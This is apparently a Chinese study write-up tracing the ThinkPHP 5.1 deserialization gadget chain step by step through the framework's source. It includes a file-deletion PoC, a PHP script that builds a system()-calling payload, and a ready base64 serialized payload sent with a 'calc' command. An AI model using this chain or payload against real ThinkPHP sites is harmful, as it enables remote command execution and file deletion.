ThinkPhp5.1反序列化


咕咕咕


Tp5.1链接

Tp5.1手册

利用compoer运行 composer

composer create-project topthink/think=5.1.* tp

启动服务

cd tp
php think run

访问

127.0.0.1:8080


URL解析模式

http://localhost/index.php/模块/控制器/操作/参数/值

访问

http://localhost:8000/index/index/hello/name/Muz1


反序列化链分析

发序列化链是从 __destruct() 开始

跟进 /thinkphp/library/think/process/pipes/Windows.php

public function __destruct()
{$this->close();$this->removeFiles();
}

跟进 close() ,没东西, 跟进 removeFiles()

private function removeFiles()
{foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];
}

这里 $this->files@unlink 可以删除文件

poc:

这里是删除 F:/test.txt

<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes{private $files = [];public function __construct(){$this->files=['F:\\test.txt'];}
}
echo base64_encode(serialize(new Windows()));

然后执行到 file_exists($filename)file_exists$filename 当字符串然后触发 __toString 方法,

\thinkphp\library\think\model\concern\Conversion.php

public function __toString()
{return $this->toJson();
}

跟进 toJson()

public function toJson($options = JSON_UNESCAPED_UNICODE)
{return json_encode($this->toArray(), $options);
}

有个toArray()方法

public function toArray()
{...if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);}}...

这里的$this->append可控,所以$key$name也可控,最后会调用 $relation->visible($name);所以如果$relation可控的话就可以通过调用不可访问的方法触发__call()

跟进一下getRelation()

public function getRelation($name = null)
{if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;
}

array_key_exists() 函数检查某个数组中是否存在指定的键名,绕过if/else判断,返回值为空,进行(!$relation)

然后 getAttr() 方法

public function getAttr($name, &$item = null)
{try {$notFound = false;$value    = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value    = null;}...return $value;
}

跟进 getData()

public function getData($name = null)
{if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

可以回头看一下 $name值,$relation = $this->getAttr($key);

调用getAttr()时将$this->appendkey传给形参$name,之后再调用$getData($name),将刚才的$name传入,

所以这里的$name也就是$this->appendkey

而这里的第一个elseif处的$this-$data又可控,所以最终的$relation相当于$relation=$this->data[$key]

$relation$name都可控,就可以通过 $relation->visible($name);触发__call()

因为 __toString()Conversion.php的,getAttr()等是Attribute.php的,所以找一个类同时包含这俩

\thinkphp\library\think\Model.php

abstract class Model implements \JsonSerializable, \ArrayAccess
{use model\concern\Attribute;use model\concern\RelationShip;use model\concern\ModelEvent;use model\concern\TimeStamp;use model\concern\Conversion;

因为这是个抽象类abstract(),不能被 new ,需要找一个子类

\thinkphp\library\think\model\Pivot.php

找到实现类之后,找__call() , call_user_func..

找到\thinkphp\library\think\Request.php

public function __call($method, $args)
{if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method);
}

但是不能直接利用 call_user_func_array执行 system,这里$methodvisible$args是之前的$name可控,但是有这行代码:array_unshift($args, $this)$this 插到了 $args 的最前面,使得 system 的第一个参数不可控,没法直接 system 。因此想办法回调thinkphp中的方法,而且经过一系列构造,最终命令执行中的参数和这里的 $args 无关。


private function filterValue(&$value, $key, $filters)
{$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);......................

这里有个call_user_func($filter, $value);但参数不可控仍然无法命令执行,但可以通过本类中的input()方法来控制参数

public function input($data = [], $name = '', $default = null, $filter = '')
{if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);if (version_compare(PHP_VERSION, '7.1.0', '<')) {// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针$this->arrayReset($data);}} else {$this->filterValue($data, $name, $filter);}if (isset($type) && $data !== $default) {// 强制类型转换$this->typeCast($data, $type);}return $data;
}

可以看到这三行代码,通过getFilter()方法控制$filter,通过array_walk_recursive()回溯调用刚刚的filterValue()方法

$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);

跟进getFilter()

protected function getFilter($filter, $default)
{if (is_null($filter)) {$filter = [];} else {$filter = $filter ?: $this->filter;if (is_string($filter) && false === strpos($filter, '/')) {$filter = explode(',', $filter);} else {$filter = (array) $filter;}}$filter[] = $default;return $filter;
}

$filter = $filter ?: $this->filter;很明显filter可控了,再看另一个参数$data,如果$data可控,而且$name为空字符串的话,input函数中前面的那些代码if条件就不成立,不构成影响。

param()函数中存在调用 input()

public function param($name = '', $default = null, $filter = '')
{if (!$this->mergeParam) {$method = $this->method(true);// 自动获取请求变量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 当前请求参数和URL地址中的参数合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);
}

可以看到最后一行调用input,并且第一个参数的值$this->param可控,控制点在上方

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->param是由本来的$this->param,还有请求参数和URL地址中的参数合并。
但考虑到调用的函数是array_walk_recursive,数组中的每个成员都被回调函数调用,因此其实直接构造$this->param也是可以的,但是考虑到可以动态命令执行,因此就不构造$this->param了,而是把要执行的命令写在get参数里即第二个参数($this->get(false))。

最后就剩下最后一个问题了,就是何处调用了param(),并且调用时$name为空,经过寻找找到了isAjax()

public function isAjax($ajax = false)
{$value  = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result           = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;
}

调用位置

$result = $this->param($this->config['var_ajax']) ? true : $result;

$this->config['var_ajax']是配置文件中的值,只需要让他为空,那么他在调用$this->param时,默认的第一个参数$name就为空,之后再调用input时传入的$name就为空,从而绕过了input函数中的if判断,至此整条链就结束了,简单的回顾下。

__call()方法调用return call_user_func_array($this->hook[$method], $args);,让$this->hook[$method]的值为isAjax就调用了isAjax()函数,函数中$this->param($this->config[‘var_ajax’]) ? true : $result;调用了param()函数,param()的最后一行调用了input()方法,input()中调用array_walk_recursive回调调用filterValue()函数,该函数中$value = call_user_func($filter, $value);进行了命令执行,并通过最后的return返回

public/index.php加上如下两句作为入口

然后构造POC:

<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["Muz1"=>["hello"]];$this->data = ["Muz1"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = [// 表单请求类型伪装变量'var_method'       => '_method',// 表单ajax伪装变量'var_ajax'         => '_ajax',// 表单pjax伪装变量'var_pjax'         => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo'     => 's',// 兼容PATH_INFO获取'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter'   => '',// 域名根,如thinkphp.cn'url_domain_root'  => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip'    => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix'  => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];}
}
namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

传参:

GET: ?Muz1=calc
POST: key=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJNdXoxIjthOjE6e2k6MDtzOjU6ImhlbGxvIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiTXV6MSI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=

然后会弹出计算器,这里没弹出来 不明白哪的原因‘

参考

https://blog.csdn.net/weixin_54902210/article/details/124874209?spm=1001.2014.3001.5502


[php]-Tp5.1反序列化学习相关推荐

  1. Tomcat-Session反序列化学习

    Tomcat-Session反序列化学习 简介 CVE-2020-9484. 要求: tomcat必须启用session持久化功能FileStore tomcat/lib或者WEB-INF/lib目录 ...

  2. java object转map_Java反序列化学习之CommonsCollections1

    更多全球网络安全资讯尽在邑安全 www.eansec.com 漏洞点 漏洞点存在于 commons-collections-3.1-src.jar!/org/apache/commons/collec ...

  3. C++ 序列化和反序列化学习

    定义 程序员在编写应用程序的时候往往需要将程序的某些数据存储在内存中,然后将其写入某个文件或是将它传输到网络中的另一台计算机上以实现通讯.这些过程将会涉及到程序数据转化成能被存储并传输的格式,因此被称 ...

  4. C#序列化与反序列化学习

    最近为了换一份新工作,准备了不少笔试题.从笔试当中自己发现了不少基础知识的盲点.很庆幸这样的机会,可以让自己对于基础知识的理解又上升一个台阶.此文介绍C#里面的序列化与反序列化的知识,如果你是大鸟,请 ...

  5. session.upload_progress反序列化学习

    Session的配置选项和存储方式 在php.ini中存在四项配置项: session.save_path=""       --设置session的存储路径 session.sa ...

  6. C#序列化、反序列化学习

    概念: 序列化就是将对象转换为可保持或传输的过程,与序列化相反的过程就是反序列化. 作用: 通过序列化可以很轻松的存储和传输对象. 三种序列化技术: .NET提供了三种序列化技术,我只知道这三种技术. ...

  7. C# 中XML序列化与反序列化学习笔记

    2019独角兽企业重金招聘Python工程师标准>>> static void Main(string[] args){List<Person> list = new L ...

  8. php反序列化之pop链构造

    前言 随着对反序列化学习的不断深入,我们来学习一下pop链的构造.这个pop链对于我这种小白来说还是比较难理解的,再次写下这篇文章总结一下,加深自己对构造pop链的理解.同时也是提供想要入坑的小伙伴们 ...

  9. java安全(七) 反序列化3 CC利用链 TransformedMap版

    给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 目录 图解 代码demo 涉及的接口与类: TransformedMap Transformer ConstantTransformer Invo ...

  10. php反序列化拓展攻击详解

    2019-11-11 16:51 文章首发于先知社区:https://xz.aliyun.com/t/6699 前言 继上篇对thinkphp5版本反序列化pop链详细分析后,对tp的反序列化漏洞有了 ...

最新文章

  1. java 插入排序_看动画学算法之:排序-插入排序
  2. 初识Tcl(十):Tcl 过程
  3. spark中的println失效问题解决
  4. hdu 4296 Buildings (贪心)
  5. 苹果:2020全年App Store阻止了超15亿美元潜在诈骗交易
  6. 向上累积频数怎么算_视频号怎么运营?小白也能迅速get的技巧
  7. Helm 3 完整教程(三):chart 的文件结构和字段详解
  8. 爱国者MID产品介绍
  9. baidu__git_android
  10. Linux下的基本操作
  11. socket基本使用
  12. Linux内核入门(一)——体系架构
  13. 金网seo工具资源全套软件
  14. LLC谐振电路(一) 整流电路总结
  15. “区块链+”教育的发展现状及其应用价值研究
  16. apfs扩容_MacBook Air 2015 换硬盘心得
  17. 记一次git pull 错误
  18. 推荐:雨林木风Linux
  19. Java图形化GUI界面
  20. strcpy 和strncpy 的代码和区别

热门文章

  1. 有哪些超好用的邮件群发软件?这款做邮件推广的一定要试试!
  2. 使用百度siteapp开发网站的App-(IOS和Android版本)
  3. 学习视频处理(一),了解HLS,流媒体,视频编码
  4. word制作多级标题目录
  5. 记事本开发 dos下编译java 多个类文件_通过记事本编写的java代码通过()命令运行。_学小易找答案...
  6. 【Alpha版本】冲刺阶段——Day 1
  7. CVPR 2021 论文大盘点-超分辨率篇
  8. PHP 函数的完整参考手册
  9. android 风吹的动画,最炫Material Design风过渡动画
  10. lzg_ad:Windows Embedded Standard 安装说明